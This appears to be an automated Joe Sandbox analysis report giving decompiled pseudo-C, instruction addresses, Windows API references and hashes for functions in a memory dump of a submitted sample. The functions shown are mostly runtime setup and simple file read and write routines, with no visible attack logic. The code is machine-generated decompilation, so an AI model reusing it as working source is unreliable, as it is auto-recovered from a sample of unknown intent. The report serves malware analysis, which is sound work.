0x0042ca80
0x0042ca80
0x0042ca83
0x0042ca89
0x0042ca89
0x0042ca7e
0x00000000
0x0042ca6a
0x0042ca55
0x0042ca56
0x0042ca57
0x0042ca59
0x00000000
0x00000000
0x00000000
0x0042ca59
0x0042ca2e
0x0042ca34
0x0042ca36
0x0042ca3b
0x0042ca3b
0x00000000
0x0042c9e2
0x0042c9e2
0x0042c9e3
0x0042c9ed
0x0042c9f0
0x0042c9f9
0x00000000
0x0042c9f9
0x00000000
0x0042c9f0
0x0042c980
0x0042c991
0x0042c993
0x0042c998
0x0042c9f2
0x0042c9f2
0x0042caad
0x0042cabd
0x0042cabd
0x00000000
0x0042c998
0x0042c97e

APIs

GetCPInfo.KERNEL32(?,?,0042F660,00000038,0042B6ED,?,00000000,?,?,00000000,00000000,0042EFF0,0000001C,0042B0D3,00000001,00000020), ref: 0042C933
GetCPInfo.KERNEL32(?,00000001), ref: 0042C946
_strlen.LIBCMT ref: 0042C96A
MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?), ref: 0042C98B

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: Info$ByteCharMultiWide_strlen
String ID:
API String ID: 1335377746-0
Opcode ID: c6cfe9835faf65694efe8d3f7f1042835af6401b6c91d2d8c6012d2ef4dc9823
Instruction ID: 6b4de3f8003998e6dfb922e911c8cf52f97636109fb33f28408e9f7c047b53d5
Opcode Fuzzy Hash: c6cfe9835faf65694efe8d3f7f1042835af6401b6c91d2d8c6012d2ef4dc9823
Instruction Fuzzy Hash: 85519DB0A00229AFCF20DF96FD85AAFBFB9EF44350FA4011BF415A2250D7354981CB68

Uniqueness

Uniqueness Score: -1.00%

Function 0042AA29, Relevance: 12.1, APIs: 8, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E0042AA29() {
				int _v4;
				int _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t7;
				CHAR* _t8;
				WCHAR* _t16;
				int _t19;
				char* _t23;
				int _t24;
				long _t28;
				int _t29;
				WCHAR* _t36;
				CHAR* _t37;
				void* _t38;
				void* _t39;
				int _t40;

				_t7 =  *0x432378; // 0x1
				_t29 = 0;
				_t36 = 0;
				_t38 = 2;
				if(_t7 != 0) {
					L6:
					__eflags = _t7 - 1;
					if(__eflags != 0) {
						__eflags = _t7 - _t38;
						if(_t7 == _t38) {
							L21:
							_t8 = GetEnvironmentStrings();
							_t37 = _t8;
							__eflags = _t37 - _t29;
							if(_t37 == _t29) {
								L20:
								return 0;
							}
							__eflags =  *_t37 - _t29;
							if( *_t37 == _t29) {
								L25:
								_t39 = _t8 - _t37 + 1;
								_push(E004263B4(_t39));
								_pop(0);
								__eflags = 0 - _t29;
								if(0 != _t29) {
									E00425FD0(0, _t37, _t39);
								}
								FreeEnvironmentStringsA(_t37);
								return 0;
							} else {
								goto L23;
							}
							do {
								do {
									L23:
									_t8 =  &(_t8[1]);
									__eflags =  *_t8 - _t29;
								} while ( *_t8 != _t29);
								_t8 =  &(_t8[1]);
								__eflags =  *_t8 - _t29;
							} while ( *_t8 != _t29);
							goto L25;
						}
						__eflags = _t7 - _t29;
						if(_t7 == _t29) {
							goto L21;
						}
						goto L20;
					}
					L7:
					if(_t36 != _t29) {
						L9:
						_t16 = _t36;
						if( *_t36 == _t29) {
							L12:
							_t19 = (_t16 - _t36 >> 1) + 1;
							_v4 = _t19;
							_push(WideCharToMultiByte(_t29, _t29, _t36, _t19, _t29, _t29, _t29, _t29));
							_pop(_t40);
							if(_t40 != _t29) {
								_t23 = E004263B4(_t40);
								_v8 = _t23;
								if(_t23 != _t29) {
									_t24 = WideCharToMultiByte(_t29, _t29, _t36, _v4, _t23, _t40, _t29, _t29);
									_t52 = _t24;
									if(_t24 == 0) {
										_push(_v8);
										E004255BE(_t29, WideCharToMultiByte, _t36, _t52);
										_v8 = _t29;
									}
									_t29 = _v8;
								}
							}
							FreeEnvironmentStringsW(_t36);
							return _t29;
						} else {
							goto L10;
						}
						do {
							do {
								L10:
								_t16 = _t16 + _t38;
							} while ( *_t16 != _t29);
							_t16 = _t16 + _t38;
						} while ( *_t16 != _t29);
						goto L12;
					}
					_t36 = GetEnvironmentStringsW();
					if(_t36 == _t29) {
						goto L20;
					}
					goto L9;
				}
				_push(GetEnvironmentStringsW());
				_pop(_t36);
				if(0 == 0) {
					_t28 = GetLastError();
					__eflags = _t28 - 0x78;
					if(_t28 != 0x78) {
						_t7 =  *0x432378; // 0x1
					} else {
						_t7 = _t38;
						 *0x432378 = _t7;
					}
					goto L6;
				} else {
					 *0x432378 = 1;
					goto L7;
				}
			}

0x0042aa2b
0x0042aa3a
0x0042aa3c
0x0042aa42
0x0042aa43
0x0042aa72
0x0042aa72
0x0042aa75
0x0042aaf4
0x0042aaf6
0x0042ab00
0x0042ab00
0x0042ab07
0x0042ab08
0x0042ab0a
0x0042aafc
0x00000000
0x0042aafc
0x0042ab0c
0x0042ab0e
0x0042ab1a
0x0042ab1e
0x0042ab25
0x0042ab26
0x0042ab27
0x0042ab2a
0x0042ab33
0x0042ab38
0x0042ab3c
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ab10
0x0042ab10
0x0042ab10
0x0042ab10
0x0042ab11
0x0042ab11
0x0042ab15
0x0042ab16
0x0042ab16
0x00000000
0x0042ab10
0x0042aaf8
0x0042aafa
0x00000000
0x00000000
0x00000000
0x0042aafa
0x0042aa77
0x0042aa79
0x0042aa83
0x0042aa86
0x0042aa88
0x0042aa98
0x0042aaa6
0x0042aaab
0x0042aab1
0x0042aab2
0x0042aab5
0x0042aab8
0x0042aac0
0x0042aac4
0x0042aad1
0x0042aad3
0x0042aad5
0x0042aad7
0x0042aadb
0x0042aae1
0x0042aae1
0x0042aae5
0x0042aae5
0x0042aac4
0x0042aaea
0x00000000
0x00000000
0x00000000
0x00000000
0x0042aa8a
0x0042aa8a
0x0042aa8a
0x0042aa8a
0x0042aa8c
0x0042aa91
0x0042aa93
0x00000000
0x0042aa8a
0x0042aa7d
0x0042aa81
0x00000000
0x00000000
0x00000000
0x0042aa81
0x0042aa47
0x0042aa48
0x0042aa4b
0x0042aa59
0x0042aa5f
0x0042aa62
0x0042aa6d
0x0042aa64
0x0042aa65
0x0042aa66
0x0042aa66
0x00000000
0x0042aa4d
0x0042aa4d
0x00000000
0x0042aa4d

APIs

GetEnvironmentStringsW.KERNEL32(73B74DE0,?,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA45
GetLastError.KERNEL32(?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA59
GetEnvironmentStringsW.KERNEL32(73B74DE0,?,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AA7B
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,73B74DE0,?,?,?,?,?,00425EA6), ref: 0042AAAF
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AAD1
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AAEA
GetEnvironmentStrings.KERNEL32(73B74DE0,?,?,?,?,?,00425EA6,?,0042E598,00000060), ref: 0042AB00
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0042AB3C

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$ErrorLast
String ID:
API String ID: 883850110-0
Opcode ID: 0519527c386eaa97ce99db22d86e9c2efaaf054dcfebffde70249a0137129faf
Instruction ID: d311d7976f072d711c400d96c47925b8f45fd065d53c47e4d46ce870913b47cd
Opcode Fuzzy Hash: 0519527c386eaa97ce99db22d86e9c2efaaf054dcfebffde70249a0137129faf
Instruction Fuzzy Hash: 913107B27052356FAA206FA9BE84C3BBB9CEF45354795043BFE41C3200D5695CA1C2BB

Uniqueness

Uniqueness Score: -1.00%

Function 0042AB4B, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0042AB4B() {
				void* __ebp;
				signed int _t52;
				signed int _t56;
				long _t60;
				signed int _t62;
				signed int _t63;
				signed int _t65;
				signed int _t66;
				void* _t70;
				signed int* _t81;
				signed int _t84;
				signed int _t85;
				signed int _t87;
				signed int _t88;
				signed int _t89;
				signed char _t92;
				signed int _t99;
				void* _t102;
				int _t104;
				void** _t106;
				void** _t108;
				signed int** _t109;
				intOrPtr* _t112;
				void* _t113;

				_t52 = E004263B4(0x480);
				if(_t52 != 0) {
					 *0x432760 = _t52;
					 *0x432740 = 0x20;
					_t1 = _t52 + 0x480; // 0x480
					_t87 = _t1;
					while(1) {
						__eflags = _t52 - _t87;
						if(_t52 >= _t87) {
							break;
						}
						 *_t52 =  *_t52 | 0xffffffff;
						 *(_t52 + 8) =  *(_t52 + 8) & 0x00000000;
						 *((char*)(_t52 + 4)) = 0;
						 *((char*)(_t52 + 5)) = 0xa;
						_t88 =  *0x432760; // 0x520640
						_t52 = _t52 + 0x24;
						_t87 = _t88 + 0x480;
						__eflags = _t87;
					}
					GetStartupInfoA(_t113 + 0x14);
					__eflags =  *((short*)(_t113 + 0x46));
					if( *((short*)(_t113 + 0x46)) == 0) {
						L26:
						_t84 = 0;
						__eflags = 0;
						do {
							_t89 =  *0x432760; // 0x520640
							_t106 = _t89 + (_t84 + _t84 * 8) * 4;
							__eflags =  *_t106 - 0xffffffff;
							if( *_t106 != 0xffffffff) {
								_t49 =  &(_t106[1]);
								 *_t49 = _t106[1] | 0x00000080;
								__eflags =  *_t49;
								goto L42;
							}
							_t84 = _t84;
							__eflags = _t84;
							_t106[1] = 0x81;
							if(_t84 != 0) {
								asm("sbb eax, eax");
								_t60 =  ~(_t84 - 1) + 0xfffffff5;
								__eflags = _t60;
							} else {
								_t60 = 0xfffffff6;
							}
							_t102 = GetStdHandle(_t60);
							__eflags = _t102 - 0xffffffff;
							if(_t102 == 0xffffffff) {
								L40:
								_t106[1] = _t106[1] | 0x00000040;
							} else {
								_t62 = GetFileType(_t102);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L40;
								}
								_t63 = _t62 & 0x000000ff;
								__eflags = _t63 - 2;
								 *_t106 = _t102;
								if(__eflags != 0) {
									__eflags = _t63 - 3;
									if(__eflags == 0) {
										_t42 =  &(_t106[1]);
										 *_t42 = _t106[1] | 0x00000008;
										__eflags =  *_t42;
									}
								} else {
									_t106[1] = _t106[1] | 0x00000040;
								}
								_push(0xfa0);
								_push( &(_t106[3]));
								_t65 = E0042B4DF(__eflags);
								__eflags = _t65;
								if(_t65 == 0) {
									L30:
									_t56 = _t65 | 0xffffffff;
									L44:
									return _t56;
								} else {
									_t106[2] = _t106[2] + 1;
									goto L42;
								}
							}
							L42:
							_t84 = _t84 + 1;
							__eflags = _t84 - 3;
						} while (_t84 < 3);
						SetHandleCount( *0x432740);
						_t56 = 0;
						__eflags = 0;
						goto L44;
					}
					_t66 =  *(_t113 + 0x48);
					__eflags = _t66;
					if(_t66 == 0) {
						goto L26;
					}
					_t104 =  *_t66;
					_t112 = _t66 + 4;
					 *(_t113 + 0x10) = _t104 + _t112;
					__eflags = _t104 - 0x800;
					if(_t104 >= 0x800) {
						_t104 = 0x800;
					}
					__eflags =  *0x432740 - _t104; // 0x20
					if(__eflags >= 0) {
						L18:
						_t85 = 0;
						__eflags = _t104;
						if(_t104 <= 0) {
							goto L26;
						} else {
							goto L19;
						}
						do {
							L19:
							_t70 =  *( *(_t113 + 0x10));
							__eflags = _t70 - 0xffffffff;
							if(_t70 == 0xffffffff) {
								goto L25;
							}
							_t92 =  *_t112;
							__eflags = _t92 & 0x00000001;
							if((_t92 & 0x00000001) == 0) {
								goto L25;
							}
							__eflags = _t92 & 0x00000008;
							if(__eflags != 0) {
								L23:
								_t108 = 0x432760[_t85 >> 5] + ((_t85 & 0x0000001f) + (_t85 & 0x0000001f) * 8) * 4;
								 *_t108 =  *( *(_t113 + 0x10));
								_t108[1] =  *_t112;
								_push(0xfa0);
								_push( &(_t108[3]));
								_t65 = E0042B4DF(__eflags);
								__eflags = _t65;
								if(_t65 == 0) {
									goto L30;
								}
								_t31 =  &(_t108[2]);
								 *_t31 = _t108[2] + 1;
								__eflags =  *_t31;
								goto L25;
							}
							__eflags = GetFileType(_t70);
							if(__eflags == 0) {
								goto L25;
							}
							goto L23;
							L25:
							 *(_t113 + 0x10) =  &(( *(_t113 + 0x10))[1]);
							_t85 = _t85 + 1;
							_t112 = _t112 + 1;
							__eflags = _t85 - _t104;
						} while (_t85 < _t104);
						goto L26;
					} else {
						_t109 = 0x432764;
						while(1) {
							_t81 = E004263B4(0x480);
							__eflags = _t81;
							if(_t81 == 0) {
								break;
							}
							 *0x432740 =  *0x432740 + 0x20;
							 *_t109 = _t81;
							_t12 =  &(_t81[0x120]); // 0x480
							_t99 = _t12;
							while(1) {
								__eflags = _t81 - _t99;
								if(_t81 >= _t99) {
									break;
								}
								 *_t81 =  *_t81 | 0xffffffff;
								_t81[2] = _t81[2] & 0x00000000;
								_t81[1] = 0;
								_t81[1] = 0xa;
								_t81 =  &(_t81[9]);
								_t99 =  &(( *_t109)[0x120]);
								__eflags = _t99;
							}
							_t109 =  &(_t109[1]);
							__eflags =  *0x432740 - _t104; // 0x20
							if(__eflags < 0) {
								continue;
							}
							goto L18;
						}
						_t104 =  *0x432740; // 0x20
						goto L18;
					}
				}
				return _t52 | 0xffffffff;
			}

0x0042ab5a
0x0042ab5d
0x0042ab67
0x0042ab6c
0x0042ab76
0x0042ab76
0x0042ab9c
0x0042ab9c
0x0042ab9e
0x00000000
0x00000000
0x0042ab7e
0x0042ab81
0x0042ab85
0x0042ab89
0x0042ab8d
0x0042ab93
0x0042ab96
0x0042ab96
0x0042ab96
0x0042aba8
0x0042abae
0x0042abb4
0x0042aca3
0x0042aca3
0x0042aca3
0x0042aca5
0x0042aca5
0x0042acae
0x0042acb1
0x0042acb4
0x0042ad25
0x0042ad25
0x0042ad25
0x00000000
0x0042ad25
0x0042acb6
0x0042acb6
0x0042acb8
0x0042acbc
0x0042accd
0x0042accf
0x0042accf
0x0042acbe
0x0042acc0
0x0042acc0
0x0042acd9
0x0042acdb
0x0042acde
0x0042ad1f
0x0042ad1f
0x0042ace0
0x0042ace1
0x0042ace7
0x0042ace9
0x00000000
0x00000000
0x0042aceb
0x0042acf0
0x0042acf3
0x0042acf5
0x0042acfd
0x0042ad00
0x0042ad02
0x0042ad02
0x0042ad02
0x0042ad02
0x0042acf7
0x0042acf7
0x0042acf7
0x0042ad09
0x0042ad0e
0x0042ad0f
0x0042ad14
0x0042ad18
0x0042acc3
0x0042acc3
0x0042ad41
0x00000000
0x0042ad1a
0x0042ad1a
0x00000000
0x0042ad1a
0x0042ad18
0x0042ad29
0x0042ad29
0x0042ad2a
0x0042ad2a
0x0042ad39
0x0042ad3f
0x0042ad3f
0x00000000
0x0042ad3f
0x0042abba
0x0042abbe
0x0042abc0
0x00000000
0x00000000
0x0042abc6
0x0042abc8
0x0042abce
0x0042abd7
0x0042abd9
0x0042abdb
0x0042abdb
0x0042abdd
0x0042abe3
0x0042ac33
0x0042ac33
0x0042ac35
0x0042ac37
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ac39
0x0042ac39
0x0042ac3d
0x0042ac3f
0x0042ac42
0x00000000
0x00000000
0x0042ac44
0x0042ac47
0x0042ac4a
0x00000000
0x00000000
0x0042ac4c
0x0042ac4f
0x0042ac5c
0x0042ac70
0x0042ac79
0x0042ac7e
0x0042ac84
0x0042ac89
0x0042ac8f
0x0042ac8f
0x0042ac93
0x00000000
0x00000000
0x0042ac95
0x0042ac95
0x0042ac95
0x00000000
0x0042ac95
0x0042ac58
0x0042ac5a
0x00000000
0x00000000
0x00000000
0x0042ac98
0x0042ac98
0x0042ac9d
0x0042ac9e
0x0042ac9f
0x0042ac9f
0x00000000
0x0042abe5
0x0042abe5
0x0042abea
0x0042abf0
0x0042abf0
0x0042abf3
0x00000000
0x00000000
0x0042abf5
0x0042abfc
0x0042abfe
0x0042abfe
0x0042ac1c
0x0042ac1c
0x0042ac1e
0x00000000
0x00000000
0x0042ac06
0x0042ac09
0x0042ac0d
0x0042ac11
0x0042ac17
0x0042ac1a
0x0042ac1a
0x0042ac1a
0x0042ac20
0x0042ac23
0x0042ac29
0x00000000
0x00000000
0x00000000
0x0042ac2b
0x0042ac2d
0x00000000
0x0042ac2d
0x0042abe3
0x00000000

APIs

GetStartupInfoA.KERNEL32(?), ref: 0042ABA8
GetFileType.KERNEL32(?), ref: 0042AC52
GetStdHandle.KERNEL32(0000038A), ref: 0042ACD3

Strings

d'C, xrefs: 0042ABE5

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: FileHandleInfoStartupType
String ID: d'C
API String ID: 2461013171-2240747681
Opcode ID: 687e8b14572130ed20b6649d3793d76fd46baa176b20128bfbe0dae9c93d2a53
Instruction ID: f3d003d2cdc46c2a8f518884c92314d5f71593704e3ebfb83afa4e96b4359059
Opcode Fuzzy Hash: 687e8b14572130ed20b6649d3793d76fd46baa176b20128bfbe0dae9c93d2a53
Instruction Fuzzy Hash: A951E2717047118FD7208F29E8847267BE4FB11325FA44A6ED9A6C72E2D778D425C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00407650, Relevance: 10.6, APIs: 7, Instructions: 104
fileCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E00407650(void* __ebx, void* __edi, void* __esi, long _a4) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void _v36;
				intOrPtr _t28;
				CHAR* _t30;
				CHAR* _t34;
				void* _t54;
				long _t63;
				void* _t65;
				void* _t66;

				_t65 = __esi;
				_t28 =  *0x4310d8; // 0xd0c2a9a8
				_t63 = _a4;
				_v4 = _t28;
				if( *((intOrPtr*)(_t63 + 0x14)) <= 0x1f) {
					if( *((intOrPtr*)(_t54 + 0x50)) < 0x10) {
						_t30 = _t54 + 0x3c;
					} else {
						_t30 =  *(_t54 + 0x3c);
					}
					_push(_t65);
					_push(CreateFileA(_t30, 0x40000000, 0, 0, 4, 0, 0));
					_pop(_t66);
					if(_t66 != 0xffffffff) {
						 *((intOrPtr*)(_t63 + 0x3c)) = SetFilePointer(_t66, 0, 0, 2);
						_v36 = 0;
						_v32 = 0;
						_v28 = 0;
						_v24 = 0;
						_v20 = 0;
						_v16 = 0;
						_v12 = 0;
						_v8 = 0;
						if( *((intOrPtr*)(_t63 + 0x18)) < 0x10) {
							_t34 = _t63 + 4;
						} else {
							_t34 =  *(_t63 + 4);
						}
						lstrcpyA( &_v36, _t34);
						WriteFile(_t66,  &_v36, 0x20,  &_a4, 0);
						WriteFile(_t66, _t63 + 0x38, 4,  &_a4, 0);
						WriteFile(_t66, _t63 + 0x40, 4,  &_a4, 0);
						CloseHandle(_t66);
						asm("pushfd");
						asm("popfd");
						return E00424873(1, _v4);
					} else {
						return E00424873(0, _v4);
					}
				} else {
					return E00424873(0, _v4);
				}
			}

0x00407650
0x00407653
0x00407659
0x0040765d
0x00407665
0x00407684
0x0040768b
0x00407686
0x00407686
0x00407686
0x0040768e
0x004076a5
0x004076a6
0x004076aa
0x004076cd
0x004076d2
0x004076d6
0x004076da
0x004076de
0x004076e2
0x004076e6
0x004076ea
0x004076ee
0x004076f5
0x004076fc
0x004076f7
0x004076f7
0x004076f7
0x00407705
0x00407720
0x00407730
0x00407740
0x00407743
0x0040774f
0x00407753
0x0040775d
0x004076ac
0x004076bd
0x004076bd
0x00407667
0x00407676
0x00407676

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000004,00000000,00000000,00000000,00000000,?,?,?,0040B501,00000000,00000000,00000000), ref: 0040769F

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 64bcd8a7611cc09925bf716a2d99fffd080b421df08a6c133a3ba2d5fd952bf6
Instruction ID: ccb031a6cfa2299689683752f269657d5b0b18f16ba1f50cdebfbefa82dec865
Opcode Fuzzy Hash: 64bcd8a7611cc09925bf716a2d99fffd080b421df08a6c133a3ba2d5fd952bf6
Instruction Fuzzy Hash: 74317EB2608300AFD310DF69DC81F9AB7E8FB88314F50493AF245D6290D774E945CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0F0, Relevance: 9.2, APIs: 6, Instructions: 177
fileCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E0040B0F0(intOrPtr __ecx) {
				struct _OVERLAPPED* _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void _v56;
				char _v60;
				long _v64;
				intOrPtr _v68;
				void* _v72;
				void _v76;
				void _v80;
				long _v84;
				char _v88;
				char _v116;
				intOrPtr _t59;
				CHAR* _t61;
				void* _t64;
				void* _t73;
				intOrPtr* _t77;
				void* _t89;
				void* _t104;
				void* _t112;
				long _t120;
				intOrPtr _t121;
				void* _t122;
				char _t126;
				intOrPtr _t128;
				intOrPtr _t129;

				_push(0xffffffff);
				_push(E0042D338);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t128;
				_t129 = _t128 - 0x64;
				_t59 =  *0x4310d8; // 0xd0c2a9a8
				_v24 = _t59;
				_v20 = _t129;
				_v68 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x50)) < 0x10) {
					_t61 = __ecx + 0x3c;
				} else {
					_t61 =  *(__ecx + 0x3c);
				}
				_push(CreateFileA(_t61, 0x80000000, 0, 0, 3, 0, 0));
				_pop(_t89);
				_v72 = _t89;
				if(_t89 == 0xffffffff) {
					L24:
					 *[fs:0x0] = _v16;
					_t64 = E00424873(0, _v24);
					return _t64;
				} else {
					_v76 = 0;
					while(1) {
						_v84 = SetFilePointer(_t89, 0, 0, 1);
						if(ReadFile(_t89,  &_v56, 0x20,  &_v64, 0) == 0 || _v64 != 0x20) {
							break;
						}
						_push(0);
						_push( &_v64);
						_t120 = 4;
						if(ReadFile(_t89,  &_v80, _t120, ??, ??) == 0 || _v64 != _t120 || ReadFile(_t89,  &_v76, _t120,  &_v64, 0) == 0 || _v64 != _t120) {
							break;
						} else {
							_v8 = 0;
							_t73 = E004246FE(0x44);
							_t129 = _t129 + 4;
							if(_t73 == 0) {
								_t126 = 0;
								_v60 = 0;
							} else {
								_t112 = _t73;
								_t126 = E004078F0(_t112);
								_v60 = _t126;
							}
							_v8 = 0xffffffff;
							if(_t126 != 0) {
								E00402A90( &_v56);
								_t121 = _v68;
								_t122 = _t121 + 4;
								_v8 = 2;
								_t77 = E00407C10( &_v88,  &_v116);
								_v8 = 0xffffffff;
								E004023D0( &_v116);
								if(( *(_t121 + 8) & 0xffffff00 |  *_t77 !=  *(_t121 + 8)) == 0) {
									_push( &_v56);
									E00407D30(_t126);
									 *(_t126 + 0x38) = _v80;
									 *((intOrPtr*)(_t126 + 0x3c)) = _v84;
									_push(_t126);
									_t104 = _t122;
									 *((intOrPtr*)(_t126 + 0x40)) = _v76;
									 *((intOrPtr*)(E0040B030(_t104))) = _t126;
									if(( *(_t126 + 0x38) & 0x00000001) != 0) {
										E004085E0(_v68 + 0x10,  &_v60);
									}
									if(( *(_t126 + 0x38) & 0x00000004) != 0) {
										E004085E0(_v68 + 0x1c,  &_v60);
									}
									if(( *(_t126 + 0x38) & 0x00000008) != 0) {
										E004085E0(_v68 + 0x28,  &_v60);
									}
								}
								_t89 = _v72;
							}
							continue;
						}
					}
					CloseHandle(_t89);
					goto L24;
				}
			}

0x0040b0f3
0x0040b0f5
0x0040b100
0x0040b101
0x0040b108
0x0040b10b
0x0040b111
0x0040b11c
0x0040b11f
0x0040b122
0x0040b129
0x0040b124
0x0040b124
0x0040b124
0x0040b142
0x0040b143
0x0040b147
0x0040b14a
0x0040b2e5
0x0040b2e8
0x0040b2f4
0x0040b2ff
0x0040b150
0x0040b150
0x0040b160
0x0040b175
0x0040b187
0x00000000
0x00000000
0x0040b197
0x0040b19c
0x0040b1a1
0x0040b1ac
0x00000000
0x0040b1da
0x0040b1dc
0x0040b1e3
0x0040b1e8
0x0040b1ed
0x0040b1ff
0x0040b201
0x0040b1ef
0x0040b1f0
0x0040b1f6
0x0040b1f8
0x0040b1f8
0x0040b21b
0x0040b222
0x0040b22f
0x0040b234
0x0040b241
0x0040b247
0x0040b24e
0x0040b25b
0x0040b262
0x0040b269
0x0040b272
0x0040b275
0x0040b280
0x0040b283
0x0040b289
0x0040b28b
0x0040b28c
0x0040b294
0x0040b29a
0x0040b2a6
0x0040b2a6
0x0040b2af
0x0040b2bb
0x0040b2bb
0x0040b2c4
0x0040b2d4
0x0040b2d4
0x0040b2c4
0x0040b159
0x0040b159
0x00000000
0x0040b222
0x0040b1ac
0x0040b2df
0x00000000
0x0040b2df

APIs

CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,00000001), ref: 0040B13C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001), ref: 0040B167
ReadFile.KERNEL32(00000000,?,00000020,?,00000000), ref: 0040B183
ReadFile.KERNEL32(00000000,?,00000004,00000020,00000000), ref: 0040B1A8
ReadFile.KERNEL32(00000000,00000000,00000004,00000020,00000000), ref: 0040B1C7
CloseHandle.KERNEL32(00000000), ref: 0040B2DF

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID: File$Read$CloseCreateHandlePointer
String ID:
API String ID: 3856724686-0
Opcode ID: 8e0e66686a27cdbd2fcc26b4aa0a0de2b2b98b3fcabc2933bb49778c4300b0b0
Instruction ID: 43f7ac90517991d4a8ea48dc22cb84ec7461f33ff702af1616de8820f46979e3
Opcode Fuzzy Hash: 8e0e66686a27cdbd2fcc26b4aa0a0de2b2b98b3fcabc2933bb49778c4300b0b0
Instruction Fuzzy Hash: 6C51B071900218EBDB24DBA5DD85BAEB7B8FF44750F10012EF501B76D1DB78A801CBA9

Uniqueness

Uniqueness Score: -1.00%

